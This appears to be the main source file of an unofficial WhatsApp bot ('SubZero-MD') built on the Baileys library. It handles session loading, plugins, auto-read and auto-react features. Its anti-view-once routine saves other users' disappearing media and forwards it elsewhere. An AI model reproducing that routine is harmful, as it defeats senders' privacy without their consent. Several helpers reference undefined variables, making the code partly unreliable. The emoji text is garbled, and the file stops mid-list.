Spaces:
Runtime error
Runtime error
const { | |
default: makeWASocket, | |
useMultiFileAuthState, | |
DisconnectReason, | |
jidNormalizedUser, | |
getContentType, | |
proto, | |
generateWAMessageContent, | |
generateWAMessage, | |
AnyMessageContent, | |
prepareWAMessageMedia, | |
areJidsSameUser, | |
downloadContentFromMessage, | |
MessageRetryMap, | |
generateForwardMessageContent, | |
generateWAMessageFromContent, | |
generateMessageID, makeInMemoryStore, | |
jidDecode, | |
fetchLatestBaileysVersion, | |
Browsers | |
} = require('@whiskeysockets/baileys') | |
const l = console.log | |
const { getBuffer, getGroupAdmins, getRandom, h2k, isUrl, Json, runtime, sleep, fetchJson } = require('./lib/functions') | |
const fs = require('fs') | |
const ff = require('fluent-ffmpeg') | |
const P = require('pino') | |
const config = require('./config') | |
const qrcode = require('qrcode-terminal') | |
const StickersTypes = require('wa-sticker-formatter') | |
const util = require('util') | |
const { sms,downloadMediaMessage } = require('./lib/msg') | |
const FileType = require('file-type'); | |
const axios = require('axios') | |
const { File } = require('megajs') | |
const { fromBuffer } = require('file-type') | |
const bodyparser = require('body-parser') | |
const os = require('os') | |
const Crypto = require('crypto') | |
const path = require('path') | |
const prefix = config.PREFIX | |
const ownerNumber = ['263719647303'] | |
const tempDir = path.join(os.tmpdir(), 'cache-temp') | |
if (!fs.existsSync(tempDir)) { | |
fs.mkdirSync(tempDir) | |
} | |
const clearTempDir = () => { | |
fs.readdir(tempDir, (err, files) => { | |
if (err) throw err; | |
for (const file of files) { | |
fs.unlink(path.join(tempDir, file), err => { | |
if (err) throw err; | |
}); | |
} | |
}); | |
} | |
// Clear the temp directory every 5 minutes | |
setInterval(clearTempDir, 5 * 60 * 1000); | |
//===================SESSION-AUTH============================ | |
if (!fs.existsSync(__dirname + '/sessions/creds.json')) { | |
if(!config.SESSION_ID) return console.log('Please add your session to SESSION_ID env !!') | |
const sessdata = config.SESSION_ID.replace("SUBZERO-MD~", '');//Do not touch this | |
const filer = File.fromURL(`https://mega.nz/file/${sessdata}`) | |
filer.download((err, data) => { | |
if(err) throw err | |
fs.writeFile(__dirname + '/sessions/creds.json', data, () => { | |
console.log("SubZero Session downloaded โ ") | |
})})} | |
const express = require("express"); | |
const app = express(); | |
const port = process.env.PORT || 9090; | |
//============================================= | |
async function connectToWA() { | |
console.log("[ โ๏ธ ] SubZero Connecting to WhatsApp โณ๏ธ..."); | |
const { state, saveCreds } = await useMultiFileAuthState(__dirname + '/sessions/') | |
var { version } = await fetchLatestBaileysVersion() | |
const conn = makeWASocket({ | |
logger: P({ level: 'silent' }), | |
printQRInTerminal: false, | |
browser: Browsers.macOS("Firefox"), | |
syncFullHistory: true, | |
auth: state, | |
version | |
}) | |
conn.ev.on('connection.update', (update) => { | |
const { connection, lastDisconnect } = update | |
if (connection === 'close') { | |
if (lastDisconnect.error.output.statusCode !== DisconnectReason.loggedOut) { | |
connectToWA() | |
} | |
} else if (connection === 'open') { | |
console.log('[ โ๏ธ ] ๐ ๏ธ Installing Plugins.') | |
const path = require('path'); | |
fs.readdirSync("./plugins/").forEach((plugin) => { | |
if (path.extname(plugin).toLowerCase() == ".js") { | |
require("./plugins/" + plugin); | |
} | |
}); | |
console.log('[ โ๏ธ ] Plugins installed successful โ ') | |
console.log('[ โ๏ธ ] SubZero MD connected to whatsapp โ ') | |
let up = `*Hi Owner๐, Congrats SubZero Connected Successfully๐งธ! \ud83d\udc4b\ud83c\udffb* \n\n> Light, Cold, Icy, Fast & Rich Loaded With Features, SubZero W.A Bot.\n\n *Thanks for using SUBZERO-MD โ๏ธ* \n\n> Join WhatsApp Channel :- ๐ ๏ธ\n \nhttps://whatsapp.com/channel/0029VagQEmB002T7MWo3Sj1D\n\n- *แงฯยตษพ ษฯฦญ ฯษพฮตฦเนื โ* ${prefix}\n\nDont forget to star our repoโบ \n\nhttps://github.com/mrfrank-ofc/SUBZERO-MD\n\n> ยฉ ๐แดฯแดกแดสแดแด สส แดส ๊ฐสแดษดแด แด๊ฐแด โก`; | |
conn.sendMessage(conn.user.id, { image: { url: `https://i.ibb.co/8NBwB9P/mrfrankofc.jpg` }, caption: up }) | |
} | |
}) | |
conn.ev.on('creds.update', saveCreds) | |
//=============readstatus======= | |
conn.ev.on('messages.upsert', async(mek) => { | |
mek = mek.messages[0] | |
if (!mek.message) return | |
mek.message = (getContentType(mek.message) === 'ephemeralMessage') | |
? mek.message.ephemeralMessage.message | |
: mek.message; | |
if (config.READ_MESSAGE === 'true') { | |
await conn.readMessages([mek.key]); // Mark message as read | |
console.log(`Marked message from ${mek.key.remoteJid} as read.`); | |
} | |
if(mek.message.viewOnceMessageV2) | |
mek.message = (getContentType(mek.message) === 'ephemeralMessage') ? mek.message.ephemeralMessage.message : mek.message | |
if (mek.key && mek.key.remoteJid === 'status@broadcast' && config.AUTO_STATUS_SEEN === "true"){ | |
await conn.readMessages([mek.key]) | |
} | |
if (mek.key && mek.key.remoteJid === 'status@broadcast' && config.AUTO_STATUS_REPLY === "true"){ | |
const user = mek.key.participant | |
const text = `${config.AUTO_STATUS_MSG}` | |
await conn.sendMessage(user, { text: text, react: { text: '๐', key: mek.key } }, { quoted: mek }) | |
} | |
let jawadik = mek.message.viewOnceMessageV2 | |
let jawadik1 = mek.mtype === "viewOnceMessage" | |
if (jawadik && config.ANTI_VV === "true") { | |
if (jawadik.message.imageMessage) { | |
let cap = jawadik.message.imageMessage.caption; | |
let anu = await conn.downloadAndSaveMediaMessage(jawadik.message.imageMessage); | |
return conn.sendMessage("[email protected]", { image: { url: anu }, caption: cap }, { quoted: mek }); | |
} if (jawadik.message.videoMessage) { | |
let cap = jawadik.message.videoMessage.caption; | |
let anu = await conn.downloadAndSaveMediaMessage(jawadik.message.videoMessage); | |
return conn.sendMessage("[email protected]", { video: { url: anu }, caption: cap }, { quoted: mek }); | |
} if (jawadik.message.audioMessage) { | |
let anu = await conn.downloadAndSaveMediaMessage(jawadik.message.audioMessage); | |
return conn.sendMessage("[email protected]", { audio: { url: anu }, caption: cap }, { quoted: mek }); | |
} | |
} | |
const m = sms(conn, mek) | |
const type = getContentType(mek.message) | |
const content = JSON.stringify(mek.message) | |
const from = mek.key.remoteJid | |
const quoted = type == 'extendedTextMessage' && mek.message.extendedTextMessage.contextInfo != null ? mek.message.extendedTextMessage.contextInfo.quotedMessage || [] : [] | |
const body = (type === 'conversation') ? mek.message.conversation : (type === 'extendedTextMessage') ? mek.message.extendedTextMessage.text : (type == 'imageMessage') && mek.message.imageMessage.caption ? mek.message.imageMessage.caption : (type == 'videoMessage') && mek.message.videoMessage.caption ? mek.message.videoMessage.caption : '' | |
const isCmd = body.startsWith(prefix) | |
const command = isCmd ? body.slice(prefix.length).trim().split(' ').shift().toLowerCase() : '' | |
const args = body.trim().split(/ +/).slice(1) | |
const q = args.join(' ') | |
const isGroup = from.endsWith('@g.us') | |
const sender = mek.key.fromMe ? (conn.user.id.split(':')[0]+'@s.whatsapp.net' || conn.user.id) : (mek.key.participant || mek.key.remoteJid) | |
const senderNumber = sender.split('@')[0] | |
const botNumber = conn.user.id.split(':')[0] | |
const pushname = mek.pushName || 'Sin Nombre' | |
const isMe = botNumber.includes(senderNumber) | |
const isOwner = ownerNumber.includes(senderNumber) || isMe | |
const botNumber2 = await jidNormalizedUser(conn.user.id); | |
const groupMetadata = isGroup ? await conn.groupMetadata(from).catch(e => {}) : '' | |
const groupName = isGroup ? groupMetadata.subject : '' | |
const participants = isGroup ? await groupMetadata.participants : '' | |
const groupAdmins = isGroup ? await getGroupAdmins(participants) : '' | |
const isBotAdmins = isGroup ? groupAdmins.includes(botNumber2) : false | |
const isAdmins = isGroup ? groupAdmins.includes(sender) : false | |
const isReact = m.message.reactionMessage ? true : false | |
const reply = (teks) => { | |
conn.sendMessage(from, { text: teks }, { quoted: mek }) | |
} | |
//=================================================== | |
conn.decodeJid = jid => { | |
if (!jid) return jid; | |
if (/:\d+@/gi.test(jid)) { | |
let decode = jidDecode(jid) || {}; | |
return ( | |
(decode.user && | |
decode.server && | |
decode.user + '@' + decode.server) || | |
jid | |
); | |
} else return jid; | |
}; | |
//=================================================== | |
conn.copyNForward = async(jid, message, forceForward = false, options = {}) => { | |
let vtype | |
if (options.readViewOnce) { | |
message.message = message.message && message.message.ephemeralMessage && message.message.ephemeralMessage.message ? message.message.ephemeralMessage.message : (message.message || undefined) | |
vtype = Object.keys(message.message.viewOnceMessage.message)[0] | |
delete(message.message && message.message.ignore ? message.message.ignore : (message.message || undefined)) | |
delete message.message.viewOnceMessage.message[vtype].viewOnce | |
message.message = { | |
...message.message.viewOnceMessage.message | |
} | |
} | |
let mtype = Object.keys(message.message)[0] | |
let content = await generateForwardMessageContent(message, forceForward) | |
let ctype = Object.keys(content)[0] | |
let context = {} | |
if (mtype != "conversation") context = message.message[mtype].contextInfo | |
content[ctype].contextInfo = { | |
...context, | |
...content[ctype].contextInfo | |
} | |
const waMessage = await generateWAMessageFromContent(jid, content, options ? { | |
...content[ctype], | |
...options, | |
...(options.contextInfo ? { | |
contextInfo: { | |
...content[ctype].contextInfo, | |
...options.contextInfo | |
} | |
} : {}) | |
} : {}) | |
await conn.relayMessage(jid, waMessage.message, { messageId: waMessage.key.id }) | |
return waMessage | |
} | |
//================================================= | |
conn.downloadAndSaveMediaMessage = async(message, filename, attachExtension = true) => { | |
let quoted = message.msg ? message.msg : message | |
let mime = (message.msg || message).mimetype || '' | |
let messageType = message.mtype ? message.mtype.replace(/Message/gi, '') : mime.split('/')[0] | |
const stream = await downloadContentFromMessage(quoted, messageType) | |
let buffer = Buffer.from([]) | |
for await (const chunk of stream) { | |
buffer = Buffer.concat([buffer, chunk]) | |
} | |
let type = await FileType.fromBuffer(buffer) | |
trueFileName = attachExtension ? (filename + '.' + type.ext) : filename | |
// save to file | |
await fs.writeFileSync(trueFileName, buffer) | |
return trueFileName | |
} | |
//================================================= | |
conn.downloadMediaMessage = async(message) => { | |
let mime = (message.msg || message).mimetype || '' | |
let messageType = message.mtype ? message.mtype.replace(/Message/gi, '') : mime.split('/')[0] | |
const stream = await downloadContentFromMessage(message, messageType) | |
let buffer = Buffer.from([]) | |
for await (const chunk of stream) { | |
buffer = Buffer.concat([buffer, chunk]) | |
} | |
return buffer | |
} | |
/** | |
* | |
* @param {*} jid | |
* @param {*} message | |
* @param {*} forceForward | |
* @param {*} options | |
* @returns | |
*/ | |
//================================================ | |
conn.sendFileUrl = async (jid, url, caption, quoted, options = {}) => { | |
let mime = ''; | |
let res = await axios.head(url) | |
mime = res.headers['content-type'] | |
if (mime.split("/")[1] === "gif") { | |
return conn.sendMessage(jid, { video: await getBuffer(url), caption: caption, gifPlayback: true, ...options }, { quoted: quoted, ...options }) | |
} | |
let type = mime.split("/")[0] + "Message" | |
if (mime === "application/pdf") { | |
return conn.sendMessage(jid, { document: await getBuffer(url), mimetype: 'application/pdf', caption: caption, ...options }, { quoted: quoted, ...options }) | |
} | |
if (mime.split("/")[0] === "image") { | |
return conn.sendMessage(jid, { image: await getBuffer(url), caption: caption, ...options }, { quoted: quoted, ...options }) | |
} | |
if (mime.split("/")[0] === "video") { | |
return conn.sendMessage(jid, { video: await getBuffer(url), caption: caption, mimetype: 'video/mp4', ...options }, { quoted: quoted, ...options }) | |
} | |
if (mime.split("/")[0] === "audio") { | |
return conn.sendMessage(jid, { audio: await getBuffer(url), caption: caption, mimetype: 'audio/mpeg', ...options }, { quoted: quoted, ...options }) | |
} | |
} | |
//========================================================== | |
conn.cMod = (jid, copy, text = '', sender = conn.user.id, options = {}) => { | |
//let copy = message.toJSON() | |
let mtype = Object.keys(copy.message)[0] | |
let isEphemeral = mtype === 'ephemeralMessage' | |
if (isEphemeral) { | |
mtype = Object.keys(copy.message.ephemeralMessage.message)[0] | |
} | |
let msg = isEphemeral ? copy.message.ephemeralMessage.message : copy.message | |
let content = msg[mtype] | |
if (typeof content === 'string') msg[mtype] = text || content | |
else if (content.caption) content.caption = text || content.caption | |
else if (content.text) content.text = text || content.text | |
if (typeof content !== 'string') msg[mtype] = { | |
...content, | |
...options | |
} | |
if (copy.key.participant) sender = copy.key.participant = sender || copy.key.participant | |
else if (copy.key.participant) sender = copy.key.participant = sender || copy.key.participant | |
if (copy.key.remoteJid.includes('@s.whatsapp.net')) sender = sender || copy.key.remoteJid | |
else if (copy.key.remoteJid.includes('@broadcast')) sender = sender || copy.key.remoteJid | |
copy.key.remoteJid = jid | |
copy.key.fromMe = sender === conn.user.id | |
return proto.WebMessageInfo.fromObject(copy) | |
} | |
/** | |
* | |
* @param {*} path | |
* @returns | |
*/ | |
//===================================================== | |
conn.getFile = async(PATH, save) => { | |
let res | |
let data = Buffer.isBuffer(PATH) ? PATH : /^data:.*?\/.*?;base64,/i.test(PATH) ? Buffer.from(PATH.split `,` [1], 'base64') : /^https?:\/\//.test(PATH) ? await (res = await getBuffer(PATH)) : fs.existsSync(PATH) ? (filename = PATH, fs.readFileSync(PATH)) : typeof PATH === 'string' ? PATH : Buffer.alloc(0) | |
//if (!Buffer.isBuffer(data)) throw new TypeError('Result is not a buffer') | |
let type = await FileType.fromBuffer(data) || { | |
mime: 'application/octet-stream', | |
ext: '.bin' | |
} | |
let filename = path.join(__filename, __dirname + new Date * 1 + '.' + type.ext) | |
if (data && save) fs.promises.writeFile(filename, data) | |
return { | |
res, | |
filename, | |
size: await getSizeMedia(data), | |
...type, | |
data | |
} | |
} | |
//===================================================== | |
conn.sendFile = async(jid, PATH, fileName, quoted = {}, options = {}) => { | |
let types = await conn.getFile(PATH, true) | |
let { filename, size, ext, mime, data } = types | |
let type = '', | |
mimetype = mime, | |
pathFile = filename | |
if (options.asDocument) type = 'document' | |
if (options.asSticker || /webp/.test(mime)) { | |
let { writeExif } = require('./exif.js') | |
let media = { mimetype: mime, data } | |
pathFile = await writeExif(media, { packname: Config.packname, author: Config.packname, categories: options.categories ? options.categories : [] }) | |
await fs.promises.unlink(filename) | |
type = 'sticker' | |
mimetype = 'image/webp' | |
} else if (/image/.test(mime)) type = 'image' | |
else if (/video/.test(mime)) type = 'video' | |
else if (/audio/.test(mime)) type = 'audio' | |
else type = 'document' | |
await conn.sendMessage(jid, { | |
[type]: { url: pathFile }, | |
mimetype, | |
fileName, | |
...options | |
}, { quoted, ...options }) | |
return fs.promises.unlink(pathFile) | |
} | |
//===================================================== | |
conn.parseMention = async(text) => { | |
return [...text.matchAll(/@([0-9]{5,16}|0)/g)].map(v => v[1] + '@s.whatsapp.net') | |
} | |
//===================================================== | |
conn.sendMedia = async(jid, path, fileName = '', caption = '', quoted = '', options = {}) => { | |
let types = await conn.getFile(path, true) | |
let { mime, ext, res, data, filename } = types | |
if (res && res.status !== 200 || file.length <= 65536) { | |
try { throw { json: JSON.parse(file.toString()) } } catch (e) { if (e.json) throw e.json } | |
} | |
let type = '', | |
mimetype = mime, | |
pathFile = filename | |
if (options.asDocument) type = 'document' | |
if (options.asSticker || /webp/.test(mime)) { | |
let { writeExif } = require('./exif') | |
let media = { mimetype: mime, data } | |
pathFile = await writeExif(media, { packname: options.packname ? options.packname : Config.packname, author: options.author ? options.author : Config.author, categories: options.categories ? options.categories : [] }) | |
await fs.promises.unlink(filename) | |
type = 'sticker' | |
mimetype = 'image/webp' | |
} else if (/image/.test(mime)) type = 'image' | |
else if (/video/.test(mime)) type = 'video' | |
else if (/audio/.test(mime)) type = 'audio' | |
else type = 'document' | |
await conn.sendMessage(jid, { | |
[type]: { url: pathFile }, | |
caption, | |
mimetype, | |
fileName, | |
...options | |
}, { quoted, ...options }) | |
return fs.promises.unlink(pathFile) | |
} | |
/** | |
* | |
* @param {*} message | |
* @param {*} filename | |
* @param {*} attachExtension | |
* @returns | |
*/ | |
//===================================================== | |
conn.sendVideoAsSticker = async (jid, buff, options = {}) => { | |
let buffer; | |
if (options && (options.packname || options.author)) { | |
buffer = await writeExifVid(buff, options); | |
} else { | |
buffer = await videoToWebp(buff); | |
} | |
await conn.sendMessage( | |
jid, | |
{ sticker: { url: buffer }, ...options }, | |
options | |
); | |
}; | |
//===================================================== | |
conn.sendImageAsSticker = async (jid, buff, options = {}) => { | |
let buffer; | |
if (options && (options.packname || options.author)) { | |
buffer = await writeExifImg(buff, options); | |
} else { | |
buffer = await imageToWebp(buff); | |
} | |
await conn.sendMessage( | |
jid, | |
{ sticker: { url: buffer }, ...options }, | |
options | |
); | |
}; | |
/** | |
* | |
* @param {*} jid | |
* @param {*} path | |
* @param {*} quoted | |
* @param {*} options | |
* @returns | |
*/ | |
//===================================================== | |
conn.sendTextWithMentions = async(jid, text, quoted, options = {}) => conn.sendMessage(jid, { text: text, contextInfo: { mentionedJid: [...text.matchAll(/@(\d{0,16})/g)].map(v => v[1] + '@s.whatsapp.net') }, ...options }, { quoted }) | |
/** | |
* | |
* @param {*} jid | |
* @param {*} path | |
* @param {*} quoted | |
* @param {*} options | |
* @returns | |
*/ | |
//===================================================== | |
conn.sendImage = async(jid, path, caption = '', quoted = '', options) => { | |
let buffer = Buffer.isBuffer(path) ? path : /^data:.*?\/.*?;base64,/i.test(path) ? Buffer.from(path.split `,` [1], 'base64') : /^https?:\/\//.test(path) ? await (await getBuffer(path)) : fs.existsSync(path) ? fs.readFileSync(path) : Buffer.alloc(0) | |
return await conn.sendMessage(jid, { image: buffer, caption: caption, ...options }, { quoted }) | |
} | |
/** | |
* | |
* @param {*} jid | |
* @param {*} path | |
* @param {*} caption | |
* @param {*} quoted | |
* @param {*} options | |
* @returns | |
*/ | |
//===================================================== | |
conn.sendText = (jid, text, quoted = '', options) => conn.sendMessage(jid, { text: text, ...options }, { quoted }) | |
/** | |
* | |
* @param {*} jid | |
* @param {*} path | |
* @param {*} caption | |
* @param {*} quoted | |
* @param {*} options | |
* @returns | |
*/ | |
//===================================================== | |
conn.sendButtonText = (jid, buttons = [], text, footer, quoted = '', options = {}) => { | |
let buttonMessage = { | |
text, | |
footer, | |
buttons, | |
headerType: 2, | |
...options | |
} | |
//======================================================================================================================================== | |
conn.sendMessage(jid, buttonMessage, { quoted, ...options }) | |
} | |
//===================================================== | |
conn.send5ButImg = async(jid, text = '', footer = '', img, but = [], thumb, options = {}) => { | |
let message = await prepareWAMessageMedia({ image: img, jpegThumbnail: thumb }, { upload: conn.waUploadToServer }) | |
var template = generateWAMessageFromContent(jid, proto.Message.fromObject({ | |
templateMessage: { | |
hydratedTemplate: { | |
imageMessage: message.imageMessage, | |
"hydratedContentText": text, | |
"hydratedFooterText": footer, | |
"hydratedButtons": but | |
} | |
} | |
}), options) | |
conn.relayMessage(jid, template.message, { messageId: template.key.id }) | |
} | |
/** | |
* | |
* @param {*} jid | |
* @param {*} buttons | |
* @param {*} caption | |
* @param {*} footer | |
* @param {*} quoted | |
* @param {*} options | |
*/ | |
//=====Auto-Read-Cmd========== | |
if (isCmd && config.READ_CMD === "true") { | |
await conn.readMessages([mek.key]) // Mark command as read | |
} | |
//================ownerreact============== | |
if(senderNumber.includes("263719647303")){ | |
if(isReact) return | |
m.react("๐งธ") | |
} | |
//==========public react============// | |
// Auto React | |
if (!isReact && senderNumber !== botNumber) { | |
if (config.AUTO_REACT === 'true') { | |
const reactions = ['๐', '๐', '๐', '๐ฏ', '๐ฅ', '๐', '๐', '๐', '๐', '๐ค', '๐ซ', '๐ญ', '๐ฌ', '๐ฎ', "๐ด๏ธ", '๐ผ', '๐', '๐', '๐', '๐', '๐', '๐', '๐ฐ', '๐ฑ', '๐ป', '๐ป', '๐บ', '๐ฌ', "๐ฝ๏ธ", '๐ธ', '๐ท', "๐ฏ๏ธ", '๐ก', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐', '๐ธ', '๐คด', '๐น', '๐คบ', '๐คป', '๐บ', '๐คผ', '๐คฝ', '๐คพ', '๐คฟ', '๐ฆ', '๐ด', '๐ฆ', '๐บ', '๐ผ', '๐พ', '๐ฟ', '๐ฆ', '๐ฆ ', '๐ฆ', '๐ฆ', '๐ฆ', '๐ณ', '๐', '๐', '๐ ', '๐ก', '๐', '๐', '๐', '๐', '๐', "๐ท๏ธ", '๐ฆ', '๐', '๐', '๐', '๐ฟ', '๐ธ', '๐', '๐น', '๐บ', '๐ป', '๐ด', '๐ต', '๐ฐ', '๐ ', '๐ก', '๐ข', '๐ฃ', '๐ฅ', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐ฌ', '๐ญ', '๐ฎ', '๐ฏ', '๐ฃ', '๐ฅ', '๐', '๐', '๐', '๐ธ', '๐น', '๐ด', '๐ฒ', '๐บ', '๐ฎ', '๐ฏ', '๐ฑ', '๐ซ', '๐ฝ', "๐ณ๏ธ", '๐ฃ', '๐ซ', "๐ท๏ธ", "๐ธ๏ธ", '๐', '๐ป', '๐บ', '๐', "๐ด๏ธ", '๐ถ', '๐ต', '๐ด', '๐ฑ', '๐จ', '๐ฉ', '๐ง', '๐ฆ', '๐ช', '๐ซ', '๐ญ', '๐ฌ', '๐ฎ', "๐ด๏ธ", '๐ผ', '๐', '๐', '๐', '๐', '๐', '๐', '๐ฐ', '๐ฑ', '๐ป', '๐ป', '๐บ', '๐ฌ', "๐ฝ๏ธ", '๐ธ', '๐ท', "๐ฏ๏ธ", '๐ก', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐', '๐ธ', '๐คด', '๐น', '๐คบ', '๐คป', '๐บ', '๐คผ', '๐คฝ', '๐คพ', '๐คฟ', '๐ฆ', '๐ด', '๐ฆ', '๐บ', '๐ผ', '๐พ', '๐ฟ', '๐ฆ', '๐ฆ ', '๐ฆ', '๐ฆ', '๐ฆ', '๐ณ', '๐', '๐', '๐ ', '๐ก', '๐', '๐', '๐', '๐', '๐', "๐ท๏ธ", '๐ฆ', '๐', '๐', '๐', '๐ฟ', '๐ธ', '๐', '๐น', '๐บ', '๐ป', '๐ด', '๐ต', '๐ฐ', '๐ ', '๐ก', '๐ข', '๐ ', '๐ก', '๐ข', '๐ฃ', '๐ฅ', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐ฌ', '๐ญ', '๐ฎ', '๐ฏ', '๐ฃ', '๐ฅ', '๐', '๐', '๐', '๐ธ', '๐น', '๐ด', '๐ฒ', '๐บ', '๐ฎ', '๐ฏ', '๐ฑ', '๐ซ', '๐ฝ', "๐ณ๏ธ", '๐ฃ', '๐ซ', "๐ท๏ธ", "๐ธ๏ธ", '๐', '๐ป', '๐บ', '๐', "๐ด๏ธ", '๐ถ', '๐ต', '๐ด', '๐ฑ', '๐จ', '๐ฉ', '๐ง', '๐ฆ', '๐ช', '๐ซ', '๐ญ', '๐ฌ', '๐ฎ', "๐ด๏ธ", '๐ผ', '๐', '๐', '๐', '๐', '๐', '๐', '๐ฐ', '๐ฑ', '๐ป', '๐ป', '๐บ', '๐ฌ', "๐ฝ๏ธ", '๐ธ', '๐ท', "๐ฏ๏ธ", '๐ก', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐', '๐ธ', '๐คด', '๐น', '๐คบ', '๐คป', '๐บ', '๐คผ', '๐คฝ', '๐คพ', '๐คฟ', '๐ฆ', '๐ด', '๐ฆ', '๐บ', '๐ผ', '๐พ', '๐ฟ', '๐ฆ', '๐ฆ ', '๐ฆ', '๐ฆ', '๐ฆ', '๐ณ', '๐', '๐', '๐ ', '๐ก', '๐', '๐', '๐', '๐', '๐', "๐ท๏ธ", '๐ฆ', '๐', '๐', '๐', '๐ฟ', '๐ธ', '๐', '๐น', '๐บ', '๐ป', '๐ด', '๐ต', '๐ฐ', '๐ ', '๐ก', '๐ข', '๐ฃ', '๐ฅ', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐ฌ', '๐ญ', '๐ฎ', '๐ฏ', '๐ฃ', '๐ฅ', '๐', '๐', '๐', '๐ธ', '๐น', '๐ด', '๐ฒ', '๐บ', '๐ฎ', '๐ฏ', '๐ฑ', '๐ซ', '๐ฝ', "๐ณ๏ธ", '๐ฃ', '๐ซ', "๐ท๏ธ", "๐ธ๏ธ", '๐', '๐ป', '๐บ', '๐', "๐ด๏ธ", '๐ถ', '๐ต', '๐ด', '๐ฑ', '๐จ', '๐ฉ', '๐ง', '๐ฆ', '๐ช', '๐', '๐', '๐คฃ', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐ ', '๐ก', '๐ข', '๐ญ', '๐', '๐ณ', '๐ด', '๐', '๐', '๐', '๐ค', '๐', '๐', '๐ถ', '๐', '๐ถ', '๐ฑ', '๐', '๐ท', '๐ด', '๐ฒ', '๐ธ', '๐ณ', '๐', '๐', '๐', '๐', '๐ฉ', '๐', '๐', '๐ฅค', '๐ฃ', '๐ฒ', '๐ด', '๐ฝ', '๐น', '๐ธ', '๐', '๐ฑ', '๐บ', '๐ป', '๐ค', '๐', '๐ป', '๐ธ', '๐ท', 'โค๏ธ', '๐', 'โฃ๏ธ', 'โ๏ธ', '๐', '๐', '๐ ', '๐ช', "๐บ๐ธ", "๐ฌ๐ง", "๐จ๐ฆ", "๐ฆ๐บ", "๐ฏ๐ต", "๐ซ๐ท", "๐ช๐ธ", '๐', '๐', '๐', '๐ซ', '๐ญ', '๐ฌ', '๐ฎ', '๐ค', '๐', '๐', '๐ป', '๐บ', '๐ธ', '๐น', '๐ด', "๐๏ธ", '๐', '๐', '๐', "๐ฃ๏ธ", "๐ซ๏ธ", "๐ฌ๏ธ", '๐ฃ', '๐ฅ', '๐', '๐', '๐', "๐โโ๏ธ", "๐๏ธโโ๏ธ", "๐โโ๏ธ", "๐โโ๏ธ", '๐พ', '๐', '๐', '๐ฏ', '๐', '??', 'โฌ๏ธ', 'โฌ๏ธ', 'โ', 'โ', 'โฉ๏ธ', 'โช๏ธ', 'โน๏ธ', 'โผ๏ธ', 'โ๏ธ', 'โฝ๏ธ', 'ยฉ๏ธ', 'ยฎ๏ธ', 'โข๏ธ', '๐ด', '๐ต', '๐ข', '๐น', '๐บ', '๐ฏ', '๐', '๐คฃ', "๐คทโโ๏ธ", "๐คทโโ๏ธ", "๐ โโ๏ธ", "๐ โโ๏ธ", "๐โโ๏ธ", "๐โโ๏ธ", "๐คฆโโ๏ธ", "๐คฆโโ๏ธ", '๐ป', '๐โโ๏ธ', "๐โโ๏ธ", "๐ดโโ๏ธ", "๐ดโโ๏ธ", "๐โโ๏ธ", "๐โโ๏ธ", '๐ซ', '๐ฝ', "๐ณ๏ธ", '๐ฃ', '๐ซ', "๐ท๏ธ", "๐ธ๏ธ", '๐', '๐ป', '๐บ', '๐', "๐ด๏ธ", '๐ถ', '๐ต', '๐ด', '๐ฑ', '๐จ', '๐ฉ', '๐ง', '๐ฆ', '๐ช', '๐ซ', '๐ญ', '๐ฌ', '๐ฎ', "๐ด๏ธ", '๐ผ', '๐', '๐', '๐', '๐', '๐', '๐', '๐ฐ', '๐ฑ', '๐ป', '๐ป', '๐บ', '๐ฌ', "๐ฝ๏ธ", '๐ธ', '๐ท', "๐ฏ๏ธ", '๐ก', '๐ฆ', '๏ฟฝ', '๐ฏ', '๐ฐ', '๐ ', '๐ก', '๐ข', '๐ฃ', '๐ฅ', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐ฌ', '๐ญ', '๐ฎ', '๐ฏ', '๐ฃ', '๐ฅ', '๐', '๐', '๐', '๐ธ', '๐น', '๐ด', '๐ฒ', '๐บ', '๐ฎ', '๐ฏ', '๐ฑ', '๐ซ', '๐ฝ', "๐ณ๏ธ", '๐ฃ', '๐ซ', "๐ท๏ธ", "๐ธ๏ธ", '๐', '๐ป', '๐บ', '๐', "๐ด๏ธ", '๐ถ', '๐ต', '๐ด', '๐ฑ', '๐จ', '๐ฉ', '๐ง', '๐ฆ', '๐ช', '๐ซ', '๐ญ', '๐ฌ', '๐ฎ', "๐ด๏ธ", '๐ผ', '๐', '๐', '๐', '๐', '๐', '๐', '๐ฐ', '๐ฑ', '๐ป', '๐ป', '๐บ', '๐ฌ', "๐ฝ๏ธ", '๐ธ', '๐ท', "๐ฏ๏ธ", '๐ก', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐', '๐', '๐ธ', '๐คด', '๐น', '๐คบ', '๐คป', '๐บ', '๐คผ', '๐คฝ', '๐คพ', '๐คฟ', '๐ฆ', '๐ด', '๐ฆ', '๐บ', '๐ผ', '๐พ', '๐ฟ', '๐ฆ', '๐ฆ ', '๐ฆ', '๐ฆ', '๐ฆ', '๐ณ', '๐', '๐', '๐ ', '๐ก', '๐', '๐', '๐', '๐', '๐', "๐ท๏ธ", '๐ฆ', '๐', '๐', '๐', '๐ฟ', '๐ธ', '๐', '๐น', '๐บ', '๐ป', '๐ด', '๐ณ', '๐ฒ', '๐พ', '๐ฟ', '๐', '๐', '๐', '๐ป', '๐', '๐น', '๐บ', '๐ธ', '๐ด', '๐ต', '๐', '๐', '๐', '๐', '๐ฏ', '๐', '๐', '๐', '๐', '๐ฒ', '๐', '๐', '๐', '๐', '๐ญ', '๐ฌ', '๐ฃ', '๐ซ', '๐', '๐ ', '๐', '๐', '๐', '๐ฅ', '๐ฅ', '๐ฅ', '๐ช', '๐จ', '๐ซ', '๐ฌ', '๐ฉ', '๐จ', '๐ง', '๐ฆ', '๐ฅ', '๐ก', '๐ช', '๐ซ', '๐ฌ', '๐ฉ', '๐จ', '๐ง', '๐ฆ', '๐ฅ', '๐ก', '๐ช', '๐ซ', '๐ฌ', '๐ฉ', '๐จ', '๐ง', '๐ฆ', '๐ฅ', '๐ก', '๐ฑ', '๐ฟ', '๐', '๐', '๐ป', '๐', '๐น', '๐บ', '๐ธ', '๐ด', 